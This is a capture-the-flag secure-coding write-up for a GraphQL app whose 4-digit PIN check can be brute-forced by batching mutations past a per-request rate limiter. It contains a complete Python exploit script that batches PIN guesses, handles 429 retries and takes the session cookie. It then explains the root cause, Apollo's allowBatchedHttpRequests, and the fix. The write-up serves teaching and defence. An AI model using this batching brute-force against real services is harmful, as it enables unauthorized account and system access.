Hydroadmin - Secure Coding
Challenge Overview
This challenge presents a GraphQL-based web application that controls access to a “Control Room” through a 4-digit PIN verification system. The application implements rate limiting to prevent brute-force attempts. However, it is misconfigured to allow GraphQL batching, enabling attackers to bypass the rate limiter and perform bulk PIN-guessing in a single request. The goal is to exploit this batching capability to brute-force the PIN, gain access to the Control Room, and then patch the vulnerability.
Exploit Analysis
The provided exploit script demonstrates how to perform a GraphQL batching attack:
from requests import get, post
import random
import string
import re
import time
BASE_URL = "http://localhost:1337/challenge"
def random_string(length=6):
return "".join(random.choices(string.ascii_lowercase, k=length))
def generate_pin():
data = {
"query": """query { generatePin { success message } }"""
}
response = post(f"{BASE_URL}/graphql", json=data)
return response
def create_batch_query(start_pin, end_pin):
queries = []
for pin in range(start_pin, end_pin):
pin_str = f"{pin:04d}"
query = {
"query": f"mutation{{verifyAccessPin(pin:\"{pin_str}\"){{authorized}}}}"
}
queries.append(query)
return queries
def bruteforce_pin(start=0, end=10000):
print("Starting PIN bruteforce attack...")
batch_size = 1500
for batch_start in range(start, end, batch_size):
batch_end = min(batch_start + batch_size, end)
print(f"Testing PINs {batch_start:04d} to {batch_end-1:04d}...")
batch_queries = create_batch_query(batch_start, batch_end)
response = post(f"{BASE_URL}/graphql", json=batch_queries)
if response.status_code == 200:
response_data = response.text
if 'true' in response_data:
return response.cookies
elif response.status_code == 429:
print("Rate limit exceeded. Trying again in 10 seconds...")
time.sleep(10)
return bruteforce_pin(start=batch_start, end=end)
return False
def get_admin_panel(cookies):
response = get(f"{BASE_URL}/control-room", cookies=cookies)
return response
if __name__ == "__main__":
# generate a new pin
generate_pin()
# bruteforce the pin
cookies = bruteforce_pin()
if cookies:
print("Valid PIN found!")
admin_panel = get_admin_panel(cookies)
match = re.search(r'HTB\{.*?\}', admin_panel.text)
if match:
print("Exploit success. Control room access obtained.")
print(f"Flag: {match.group()}")
else:
print("For some reason, the control room is not accessible.")
else:
print("Could not find valid PIN or vulnerability is patched.")
The attack works as follows:
- Batch Query Generation: Constructs multiple
verifyAccessPin
mutations in a single HTTP request. - Brute Force in Bulk: Sends batches of up to 1000 PIN guesses per request.
- Rate Limit Bypass: Since the limiter counts HTTP requests, not GraphQL operations, batching bypasses the 10-requests-per-minute restriction.
- Session Extraction: Once the correct PIN is found, extracts the
connect.sid
session cookie to authenticate as an authorized user. - Access Granted: Use the valid session to enter the Control Room.
Vulnerability Analysis
Affected Endpoint
POST /challenge/graphql
Root Cause
The vulnerability arises from the allowBatchedHttpRequests
option in Apollo Server being set to true:
const server = new ApolloServer({
...armor.protect(),
introspection: false,
typeDefs,
allowBatchedHttpRequests: true, // <-- Vulnerable setting
resolvers
});
While the app implements express-rate-limit to restrict GraphQL requests to 10 per minute per IP, batching allows dozens or hundreds of mutations inside a single request, bypassing the limiter entirely.
Vulnerability Fix
const server = new ApolloServer({
...armor.protect(),
introspection: false,
typeDefs,
allowBatchedHttpRequests: false, // <-- Disable batching
resolvers
});
Effect of Fix:
- Each PIN attempt now requires a separate HTTP request.
- The rate limiter effectively prevents brute-force attacks.
- The system enforces its intended security boundary.
After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.
written by 0xbara